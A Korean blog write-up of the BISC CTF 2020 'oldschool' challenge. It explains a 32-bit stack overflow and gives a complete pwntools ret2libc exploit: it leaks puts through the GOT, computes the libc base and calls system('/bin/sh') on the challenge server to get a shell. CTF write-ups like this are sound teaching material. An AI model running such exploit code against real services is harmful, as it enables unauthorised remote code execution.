상세 컨텐츠

본문 제목

[BISC CTF 2020] oldschool

SYSTEM HACKING/CTF, etc

by koharin 2021. 1. 1. 19:52

본문

728x90
반응형

libc32.so.6파일과 바이너리 파일이 제공된다.

libc32.so.6이 제공되는 것을 보고 32bit 문제임을 예상했고, oldschool 바이너리를 아이다로 열어봐서 코드를 본 후 바로 32bit ROP 문제임을 알았다.

일반적인 32bit ROP 문제와 동일하다.

그래서 블로그에 포스팅했던 32bit rop 문제의 exploit code를 복붙하고, offset만 따로 구해줬다.


환경


 

vuln 함수에서 단순히 read 함수로 0x100만큼 입력받고, return address를 충분히 덮고 ROP를 할 수 있을 정도로 입력받는다.

여기서 바로 블로그에 포스팅한 32bit ROP 문제 exploit code를 복붙했고, 디버깅으로 offset만 따로 구해서 바꿔줬다.


Exploit Code

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./oldschool")
p = remote('bisc.lordofpwn.kr', 1473)
libc = ELF("./libc32.so.6")
elf = ELF("./oldschool")
pop_ebx = 0x0804838d

pay = 'A'*(0x38+0x4)
pay += p32(elf.plt['puts']) + p32(pop_ebx) + p32(elf.got['puts']) 
pay += p32(elf.symbols['main'])

p.send(pay)
p.recvuntil("BoB\n")
puts = u32(p.recvuntil("\xf7"))
log.info("puts: "+hex(puts))
#libc_base = puts - 0x5fcb0
libc_base = puts - libc.symbols['puts']
log.info("libc_base: "+hex(libc_base))
one_gadget = libc_base + 0x3d1b3
system = libc_base + libc.symbols['system'] 
binsh = libc_base + list(libc.search('/bin/sh'))[0]

p.sendafter("BoB\n", 'A'*(0x38+0x4) + p32(system) + p32(pop_ebx) + p32(binsh))
#gdb.attach(p)
p.interactive()
728x90
반응형

관련글 더보기